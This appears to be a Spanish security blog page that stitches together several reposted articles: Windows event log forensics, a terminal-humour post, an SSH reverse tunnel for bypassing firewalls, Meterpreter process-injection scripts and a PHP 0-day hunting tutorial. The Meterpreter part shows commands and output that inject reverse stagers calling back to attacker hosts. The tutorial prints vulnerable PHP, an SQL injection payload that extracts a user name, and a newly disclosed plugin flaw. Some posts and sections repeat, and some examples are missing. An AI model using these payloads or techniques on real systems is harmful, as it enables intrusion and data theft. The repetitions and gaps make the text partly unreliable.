EVT vs EVTX
Windows XP is no longer supported by Microsoft, but there are still XP
and 2003 systems out there, and as such, some of us are still going to
need to know the difference between Event Logs (XP, 2003), and Windows
Event Logs (Vista+).
Besides the binary differences in the records and Event Log files
themselves, on XP/2003, there were three main Event Log files; System,
Application, and Security. On my Windows 7 system, a 'dir' of the winevt\Logs folder reports 143 files. So, there is a LOT
of information being recorded by default on a Windows 7 system; while
not all of it may be useful to you, there is a great deal of information
that can be extracted from the logs when used properly.
Wevtx.bat
When I released Windows Forensic Toolkit 4/e, one of the things included in the additional materials is a batch file, wevtx.bat. What the batch file does is use LogParser to parse a directory full of .evtx files, and then parse those entries into TLN format for inclusion in a timeline. The tool evtxparse.exe,
used by the batch file, makes use of a mapping file (i.e.,
eventmap.txt) to map event source/ID pairs to an artifact category tag.
As such, when the entry in written to a timeline, records such as
"Microsoft-Windows-Security-Auditing/4624" are prepended with an
appropriate tag (i.e., "[Logon]"), based on the artifact category.
I really love this tool! What I like about it is that it's easy to
update (eventmap.txt is just a text file), I can add comments to it to
show the source of the information I used to map an event record to
something specific, and it acts as a fantastic little repository for all
of my past experiences. Not only is it a great repository, but it's
incorporated right into the tools that I use on just about every
engagement.
Records
Here are some of the event source/ID pairs that I've found to be useful
during investigations, for such things as malware detection, determining
the window of compromise, etc. I'll say up front that these
records are not 100% infallible, and may not have extremely high
fidelity (some do, others don't...), but they've worked quite well for
me at one time or another, so I'll share them here.
Microsoft-Windows-DNS-Client/1014
– DNS name resolution timeout; I've used this one more than once to
help demonstrate that malware was on a system, even in the face of
anti-forensics techniques (time stomping the malware files, deleting the
malware files, etc.). It's not a 100%, infallible indicator, but it's
worked for me more than once. What has also helped is when this
event record was seen; in a timeline, I could see that it occurred
shortly after a user logged into a laptop, and before the user connected
the system to a WAP. This helped me narrow down the persistence
mechanism for the malware.
Microsoft-Windows-Security-Auditing/4720 - user account created; because the bad guys do this from time to time.
McLogEvent/257 – McAfee malware detection - McAfee AV may detect
malware behaviors (i.e., run from a Temp folder, etc.) without actually
detecting the EXE itself. This can be very valuable in helping you
determine how malware got onto a system. Also, the AV product may be
configured to warn only, and take no action..so, correlate the event
records (UTC) to the entries in the McAfee logs (local system time)
Microsoft-Windows-Windows Defender/3004 – Windows Defender malware detection
Service Control Manager/7045 – A service was installed on the system
Service Control Manager/7030 – A service is configured to interact with the desktop
Microsoft-Windows-TaskScheduler/106 - New Scheduled Task registration
Beyond individual event records (source/ID pairs), one of the aspects of
the newer versions of Windows (in particular, Windows 7) is that there
are a lot of events that are being recorded by default, across multiple
Event Log files. What I mean is that when some events occur, multiple
event records are recorded, often across different Event Log files. For
example, when a user logs into a system at the console, there will be
an event recorded in the Security Event Log, a couple in the Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx log, and a couple of events will also be recorded in the Microsoft-Windows-TaskScheduler/Operational.evtx
log. Alone, each of these individual events may get little attention
from an analyst, but when placed together in a timeline, they leave an
indelible mark indicating that a user logged into the system.
Now, what's really great about this is that some of the Event Logs "roll
over" faster than others. As such, some of the source/ID pairs that
are part of an indicator cluster may have been expired from their
respective Event Logs. However, the remaining source/ID pairs in the
cluster will still provide a very good indicator that that event in
question took place. This is particular useful for infrequent events,
and I've used this information more than once to demonstrate repeated
activity going back weeks and even months prior to what was thought to
be the date of interest.
Anti-Forensics
Event auditing is one of those things that just happens in the
background on Windows systems. This is great, because sometimes Event
Log records can help us determine if anti-forensics techniques have been
employed. For example, using Event Log records, you can determine if
someone has changed the system time.
During an exam, I found that a system had been infected with malware
that installed as a Windows service, and during the installation
process, the .exe file had been time-stomped. Fortunately, when the
malicious service was installed, an event source/ID pair of "Service Control Manager/7045"
was created, indicating that a new service had been installed on the
system. I was able to correlate that information with other sources
(MFT, etc.) to better determine the correct time of when the malicious
.exe was created on the system, and nail down the infection vector.
Carving
If you need to carve Windows Event Log records, for any reason...from
unallocated space, memory, the pagefile, whatever...the tool to use is
Willi Ballentin's EVTXtract.
The "tool" is really a set of Python scripts that you run consecutively
against the data in order to recover Windows Event Log records. I've
used these scripts a couple of times, and even had a fellow team member
use them on an engagement and quite literally recover the "smoking gun".
When carving for deleted records on a Windows XP or 2003 system, I use a
custom Perl script that I wrote that's based on some of the code I've
released with my books.
Timelines
When all this is said and done, a blog post on just individual Windows Event Log records isn't really
all that valuable. Yes, I've created timelines from just a handful of
*.evtx files, for use in triage, etc. This has proved to be extremely
valuable to me.
Resources
WindowsIR: Timeline Analysis
SANS Reading Room: Detecting Security Events Using Windows Workstation Event Logs
NSA: Spotting the Adversary with Windows Event Log Monitoring
Fuente: http://windowsir.blogspot.com/2014/10/windows-event-logs.html
Forensic Windows Event Logs
Publicado por
Unknown
en
11:21
domingo, 30 de noviembre de 2014
Etiquetas:
Forense,
logs,
windows
0
comentarios
Si la vida tuviera terminal (Humor)
Si la vida pudiera ser manejada desde una terminal linux, abría muchas cosas que podríamos hacer sin tanto problema.
por ejemplo:
¿ No encuentras tus llaves? tranquilo mira
o si tu auto no enciende
Y prende al llavaso.
Si tu madre te tiene harto pidiéndote que limpies tu habitación. !Fácil!
¿tienes que mudarte de casa? pffff pan comido
¿Llego tu madre mientras estabas viendo tu colección de porno? ¡no ay problema!
¿O si un ladrón quiere robarte tu auto?
!Y cualquiera podría multiplicar la comida como Jesús con un script super simple¡
!BOOM¡ Chingo de pescado para todos. Lo del convertir el agua en vino si estaría mas cabron, pero bueno debe haber una forma... ¿no?
y para los que quisieran suicidarse por que creen que no ay vida mas allá de windows
Fuente: http://elblogdedarkspark.blogspot.com/2014/09/si-la-vida-tuviera-terminal-humor.html
por ejemplo:
¿ No encuentras tus llaves? tranquilo mira
ls | grep llavesListo aquí estan.
o si tu auto no enciende
chmod +x tsuru_negro
Y prende al llavaso.
Si tu madre te tiene harto pidiéndote que limpies tu habitación. !Fácil!
clearTodo limpio en un santiamén.
¿tienes que mudarte de casa? pffff pan comido
mv /home/darkspark/* /newhome/darkspark/listo y sin cargar nada !bitch¡
¿Llego tu madre mientras estabas viendo tu colección de porno? ¡no ay problema!
mv porno* ~/bajo_mi_cama/.porno*y todo el porno se iría bajo la cama, y aunque se asomaran por debajo, quedaría oculto. Genial¿no?. Aun que si realmente tu madre no supiera ya, donde escondes tu porno bastaría con que hiciera un
ls -laInsisto, solo si realmente tu madre no supiera donde la escondes.
¿O si un ladrón quiere robarte tu auto?
chown ladron:lacras tsuru_negroy aunque lo agarráramos infraganti
sudo chown ladron:lacras tsuru_negro¡Vale madre! ni las manitas podríamos meter.
!Y cualquiera podría multiplicar la comida como Jesús con un script super simple¡
for ($i=0;$i<=10000;$i++){cat pescado > pecado.$i;}
!BOOM¡ Chingo de pescado para todos. Lo del convertir el agua en vino si estaría mas cabron, pero bueno debe haber una forma... ¿no?
y para los que quisieran suicidarse por que creen que no ay vida mas allá de windows
exit
Fuente: http://elblogdedarkspark.blogspot.com/2014/09/si-la-vida-tuviera-terminal-humor.html
Saltar firewall con ssh
Para los que no lo sepan SSH (openSSH para ser mas específicos) es una utilidad que nos permite gestionar una maquina *nix de manera remota,
la gestión se realiza vía linea de comandos, pero como sabrán la
mayoría de los entendidos en este tema, con un acceso a consola es mas
que suficiente.
En ocasiones dependiendo de la
funcionalidad que deseemos implementar es necesario que tengamos abierto
puertos para algún servicio ya sea un servidor web, DNS, impresión
,etc. Pero en ocasiones esas posibilidades no se encuentran a nuestro
alcance ya que simplemente o nuestro ISP nos tiene dentro de un NAT
gigante (muchas cableras) o nuestros Modem/Router vienen capado de
fabrica para que los mismos no se puedan tocar a nuestro antojo, y por
ende poder abrir los puertos que requerimos.
SSH en un túnel Reverso
Como bien sabremos SSH tiene diversas
funcionalidades entre las cuales destacan :forwardeo de puertos,
ejecución de programas por medio del gestor X11, etc. Pero una de las
mas interesantes a mi parecer y que en un sinfín de ocasiones me ha
sacado de apuros es el túnel reverso. Esta funcionalidad nos da la posibilidad de redireccionar puertos hacia nosotros pudiendo así hacer bypass de cualquier firewall, haciendo una analogía es como hace muchos a~nos se realizaban infecciones con troyanos reversos.
A continuación ampliaremos mas el tema:Regularmente una conexión SSH se realiza de la siguiente manera:
Cliente SSH ———> Servidor SSH
Como podremos observar en una conexión
SSH tradicional el cliente SSH es el que realiza la conexión hacia el
servidor y es así como se establece la conexión. Ahora bien, es
importante considerar que para que esta conexión exista es necesario que
en el servidor se tenga abierto el puerto de SSH.
En el esquema de conexión de túnel SSH
reverso la conexión es hacia nosotros, para ello se ejemplificara mejor
con la siguiente imagen:
Servidor A —–> Servidor C (pasarela) <——-> Servidor B
Donde imaginemos que A es el servidor
donde tenemos una aplicación corriendo (un servidor web por ejemplo), C
es un servidor que ocuparemos como pasarela y B sera el servidor donde
requerimos ver el servidor web del servidor A.
En un esquema de funcionamiento
tradicional tan solo bastaría con abrir el puerto web en el firewall del
Servidor A para que el servidor B pudiera acceder de forma ordinaria al
web server, pero imaginemos que por restricciones del Sysadmin,
simplemente esto no es posible. Aquí es donde entra el SSH reverso. El
servidor A se conectara por medio de un túnel reverso SSH al servidor C y
de ahí con un cliente SSH nos conectaremos del servidor B al servidor
C, para poder acceder al webserver de A.
A continuación algunos ejemplos didácticos para hacer mas comprensible esta metodología de funcionamiento.Ver el WebService escuchando en el puerto 80 del Servidor A en el navegador del Servidor B
Sintaxis:Servidor A < ————-> Servidor B
ssh usuario@servdorA -L 80:localhost:80Esto lo que hará es redireccionar el puerto 80 del servidor A hacia el puerto 80 del servidor B
Túnel Reverso del servidor A al servidor C, para que el servidor B pueda acceder a la consola SSH del servidor A.
Sintaxis:Consola servidor A:
ssh usuario@servidorC -N -R 2222:localhost:22Donde:
-N Es una opción para que el servidor A NO PUEDA ejecutar comandos en la consola del servidor C
-R indica que es un túnel reverso.
22 Es el puerto donde esta escuchando el demonio SSH del servidor A
2222 Es el puerto donde se mandara el puerto SSH del servidor A en el servidor C
Consola Servidor B:
ssh usuario@servidorCDespués de esto una vez dentro del servidor C, tan solo nos restara hacer una conexión SSH a nuestro localhost en el puerto antes forwardeadado:
Consola servidor B:
ssh usuario@localhost -p 2222Donde:
-p indica el puerto al cual deseamos conectarnos
2222 Es el puerto donde se forwardeo el puerto del servidor A
Lo mas interesante de esto es que al ser el túnel SSH una conexión saliente la misma no es bloqueda por el firewall,
esto es algo que he probado en diversas instituciones tanto publicas
como privadas y en ninguna me han bloqueado la salida de mi tunel SSH.
Esto en teoría podría prevenirse con un IDS bien configurado, pero
siendo honestos, es algo que nadie se toma muy en cuenta.
NOTA: a día de hoy esta funcionalidad solo la he probado en puertos TCP
Fuente: http://dexter-one.net/in-seguridad/el-poder-de-ssh-como-bypassear-un-firewall-de-manera-facil/
Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter
Publicado por
Unknown
en
10:34
Etiquetas:
Forense,
hacking,
metasploit,
meterpreter,
ram
0
comentarios
Meterpreter es bastante robusto a la hora de manipular la memoria de
una víctima y los procesos cargados en ella, este nivel de potencia es
alcanzado gracias a la definición de scripts meterpreter escritos en
Ruby, ya que le permite al desarrollador crearlos y desplegarlos en
metasploit o utilizar algunos existentes para diversos fines. En
entradas anteriores se ha indicado el uso de algunos de estos scripts y
herramientas adicionales como Volatility FrameWork y PMDump, en esta
ocasión, se indicará el uso de algunos scripts adicionales para
manipular la memoria de una victima determinada.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
Un ejemplo de ejecución de este script puede ser el siguiente:
Con el comando anterior, se han creado dos sesiones meterpreter
controladas por el atacante en las direcciones 192.168.1.36 y
192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han
sido insertadas en los procesos 628 y 792 respectivamente, cada uno de
estos procesos corresponde a un programa en ejecución en la maquina
comprometida.
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros
Con la maquina 192.168.1.34 controlada por el atacante en el puerto
4444 recibirá el stager correspondiente a la sesión meterpreter
replicada.
Un ejemplo del uso de este script puede ser:
Fuente: http://thehackerway.com/2011/06/10/359/
multi_meter_inject
Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.
meterpreter > run multi_meter_inject -h
Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin
to memory of multiple PIDs, if none is provided a notepad process.will
be created and a Meterpreter Payload will be injected in to each. OPTIONS: -h Help menu. -m Start Exploit multi/handler for return connection -mp -mr -p -pt |
meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344 [*] Injecting meterpreter into process ID 628 [*] Allocated memory at address 0x00d60000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 628 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344 [*] Injecting meterpreter into process ID 792 [*] Allocated memory at address 0x003e0000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 792 |
duplicate
Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacantemeterpreter > run duplicate -h
OPTIONS: -D Disable the automatic multi/handler (use with -r to accept on another system) -P -e -h This help menu -p -r -s Spawn new executable to inject to. Only useful with -P. -w Write and execute an exe instead of injecting into a process |
meterpreter > run duplicate -r 192.168.1.34 -p 4444
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444 [*] Running payload handler [*] Current server process: sgiByfbLo.exe (1780) [*] Duplicating into notepad.exe… [*] Injecting meterpreter into process ID 3884 [*] Allocated memory at address 0x00e10000, for 290 byte stager [*] Writing the stager into memory… [*] New server process: 3884 |
process_memdump
En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionadometerpreter > run process_memdump -h
USAGE: EXAMPLE: run process_dump putty.exe EXAMPLE: run process_dump -p 1234 OPTIONS: -h Help menu. -n -p -q Query the size of the Process that would be dump in bytes. -r -t toggle location information in dump. |
meterpreter > run process_memdump -p 556
[*] Dumping memory for iexplore.exe [*] Dumping Memory of iexplore.exe with PID: 556 [*] base size = 64 [*] base size = 128 [*] base size = 192 [*] base size = 1224 [*] base size = 1228 [*] base size = 1280 [*] base size = 1344 [*] base size = 2368 [*] base size = 2432 [*] base size = 2496 [*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp |
Fuente: http://thehackerway.com/2011/06/10/359/
Encontrando 0-days en Aplicaciones Webs
1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:
¿Por qué utilizar un entorno de Auditoria?
Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.
Esto no es preferible, ya que hay una posibilidad muy alta de que falten
cosas y seguramente tomará mucho más tiempo que mediante el uso de un
entorno de Auditoria.
Web Server:
Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.
¿Que es lo que vamos a Auditar?
Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.
Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:
MyBB
Descarga: http://www.mybb.com/downloads
Guía de Instalación: http://docs.mybb.com/Installing.html
WordPress
Descarga: http://wordpress.org/download/
Guía de Instalación: http://codex.wordpress.org/Installing_WordPress
Joomla
Descarga: http://www.joomla.org/download.html
Guía de Instalación: http://www.joomla.org/about-joomla/getting-started.html
SMF:
Descarga: http://download.simplemachines.org/
Guía de Instalación: http://wiki.simplemachines.org/smf/Installing
2.- LO QUE DEBEMOS BUSCAR:
User input:
La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.
---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
$_POST
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
$_COOKIE
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
$_SERVER
$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.
$_FILES
Una matriz asociativa de artículos subidos al script actual a través del
método HTTP POST.
---------------------------------------------------------------------------------------------
Posibles Funciones Vulnerables:
Sql Injection:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
- mysql_*
- $db (Para MyBB, mira aquí para más información: http://docs.mybb.com/Plugins-Globals.html y http://docs.mybb.com/Database_Methods.html
- $wpdb (Para WordPress, mira aquí para más información: http://codex.wordpress.org/Class_Reference/wpdb
Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.
He aquí algunas funciones comunes que posiblemente sean vulnerables:
- mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
- mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
- mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
- mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
- mysql_num_rows - Devuelve el número de filas en el resultado.
- mysql_result - Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
---------------------------------------------------------------------------------------------
$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------
- include()
- require()
Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).
Upload:
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------
- $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
---------------------------------------------------------------------------------------------
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------
3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:
Editores de Texto:
Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.
Grep:
Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.
Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------
Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------
- passthru()
- system()
- eval()
- exec()
3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:
Editores de Texto:
Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.
Grep:
Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.
Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------
Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------
Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos
buscar la función include en todas ellas, entonces podríamos hacer algo
como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------
Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------
Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------
Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/
4.- AUDITORIA EN EL MUNDO REAL:
Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra
carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor
de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;
$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un
vistazo a los siguientes documentos para obtener una mejor comprensión
de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las
interacciones de bases de datos. Volvamos a la terminal y probar algunas
cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' '),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string('
'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;
$db->delete_query("templates", "title
IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND
sid='-2'"); // Line 27
require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}
}
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
function dymy_ua_postbit(&$post)
{
global $templates;
if(isset($post['browser']) &&
isset($post['system']) && !empty($post['browser']) &&
!empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de
desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y
tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select
count(*),concat((select username from mybb_users where
uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B));
#
------------------------------------------------------------------------------------------------------------------
5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP
Live copie la direccion URL
(localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y
pega esto en una nueva pestaña.
Ahora ponga un ' después el país:
Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:
1064 - You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN
mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON
(u.uid=f.ufid) WHERE fid5='Belgium''
------------------------------------------------------------------------------------------------------------------
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:
Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.
Tutorial PHP:
Tutorial MySQL:
